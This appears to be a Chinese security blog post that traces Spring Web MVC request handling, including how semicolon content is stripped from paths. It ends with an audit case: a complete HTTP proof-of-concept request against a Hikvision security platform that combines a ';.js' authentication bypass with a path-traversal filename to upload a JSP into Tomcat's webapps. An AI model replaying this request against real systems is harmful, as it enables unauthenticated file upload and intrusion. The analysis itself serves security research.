Java安全 - Spring Web MVC 请求解析过程

前言

主要是有师傅对一些鉴权的Spring不太懂,并且自身也有不太清楚的地方于是跟下 Spring Web MVC 请求解析过程

过程

当我们发出请求的时候,会被

\spring-webmvc-5.3.23.jar!\org\springframework\web\servlet\DispatcherServlet.java#service()​ 所拦截(在父类FrameworkServlet​实现了)

image

获取请求方式,只要不是PATCH​的请求就会去调用FrameworkServlet​的父类HttpServletBean​的父类HttpServlet​的service​方法

image

这里实际上是根据不同的请求方法,调用对应的方法,例如GET​请求会调用doGet​方法

image

最后调用processRequest​方法

image

在这里调用了doService​方法之后

还继续把请求包和返回包传入doDispatch​方法中

image

doDispatch​方法中,首先会对multipart​请求进行处理,然后获取对应的mappedHandler​,如何获取呢,其实就是使用了getHandler​方法

image

跟进getHandler​方法,发现是循环调用handlerMappings​数组的getHandler​方法对我们的请求报文进行处理

image

跟进第一个值的getHandler​方法,也就是\spring-webmvc-5.3.23-sources.jar!\org\springframework\web\servlet\handler\AbstractHandlerMapping.java#getHandler()​,他先进行了一次getHandlerInternal​方法对请求的报文进行处理

image

跟进getHandlerInternal​方法,发现是从request​对象中获取请求的path

image

跟进initLookupPath​,初始化请求映射的路径,并且通过

1
String lookupPath = requestPath.pathWithinApplication().value();

最后获取到我们请求的路径/hello;

image

接下来就去用到UrlPathHelper​工具类的removeSemicolonContent​方法,对于当前处理的URI,如果设置了setRemoveSemicolonContent​属性为true​,则继续把路径丢给removeSemicolonContentInternal​方法,否则删除Jsessionid

image

然后这个方法其实就是去寻找;​ 并且删除掉;

image

这里可以仔细去看看他的删除逻辑,也可以本地写个demo测一下即可,我本地测了一下之后解释如下

  1. 先找到;​的位置 比如 /jsp/files;.js​ 他就会找到;​之前一共有几位 这里就是10​位
  2. 然后接下来就是做判断,判断;​后面是否存在/​,如果存在/​,则继续索引,比如/hello/..;1111/hello​ 这里就是会索引到第14​位,然后把索引到的两个数字丢进delete​去截取(简单理解为就是删掉;​之后到/​的所有字符串)
  3. 如果不存在/​就直接返回;​之前的东西就行

所以返回的结果就会删掉了;​以及其后面的内容了

image

接着返回了我们请求的路径后就把我们的路径作为参数给到lookupHandlerMethod​ 方法调用,首先直接根据路径获取对应的Mapping,获取不到的话调用addMatchingMappings​遍历所有的ReuqestMappingInfo​对象并进行匹配

image

跟进addMatchingMappings​ ,遍历识别到的ReuqestMappingInfo​对象并进行匹配

image

再去调用 getMatchingMapping​方法

image

跟进getMatchingCondition​方法,getMatchingCondition​不同版本的实现也是不一样的,高版本会使用PathPattern​来进行URL匹配(不同版本会有差异,在 2.6之前,默认使用的是AntPathMatcher进行的字符串模式匹配)

接着走到核心点再次调用getMatchingCondition​方法

image

进入到\spring-webmvc-5.3.23-sources.jar!\org\springframework\web\servlet\mvc\condition\PathPatternsRequestCondition.java#getMatchingCondition()

image如果模式与路径相等,直接返回模式,否则进行后缀模式匹配,这里涉及到两个属性SuffixPatternMatch​&TrailingSlashMatch​,根据这两个属性的boolean值会调用pathMatcher#match​方法进行进一步的匹配

这里就小跟一下罢了,剩下的就要再深层点了

审计案例

海康威视综合安防系统

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /center/api/files;.js HTTP/1.1
User-Agent: PostmanRuntime/7.29.2
Accept: */*
Postman-Token: 1ac225cc-bdbe-4176-b806-a9a7c796ee33
Host: xxxxxxxxxxxxxx
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------180188939909122941133151
Cookie: JSESSIONID=A0A01DAF36544051C724ABCCB20A0EA6
Content-Length: 286

----------------------------180188939909122941133151
Content-Disposition: form-data; name="file"; filename="../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/hello.jsp"
Content-Type: application/octet-stream

hello
----------------------------180188939909122941133151--

CAS的配置如下,其实就是以下的接口或者说是后缀是不鉴权的

image

找到上传的控制器

/bin/tomcat/apache-tomcat/webapps/center/WEB-INF/classes/com/hikvision/center/module/faq/controller/KnowledgeController.java#uploadFile()

发现是把上传的文件名取出来直接丢到了son = this.knowledgeService.uploadFile(file);​中

image

跟进knowledgeService.uploadFile

image

发现也就是单纯拼接文件名并没有过滤,但是因为会鉴权,然后因为CAS的配置文件的问题,所以我们可以巧妙的利用SpringbootWebMVC的removeSemicolonContentInternal​通过;​来与不鉴权的后缀进行拼接从而映射到该路由下

/center/api/files​ -> 鉴权

/center/api/files;.js​ -> 不鉴权 -> 可以删除;.js


Java安全 - Spring Web MVC 请求解析过程
https://zjackky.github.io/post/java-security-spring-web-mvc-request-analysis-process-z1azjfg.html
作者
Zjacky
发布于
2024年1月16日
许可协议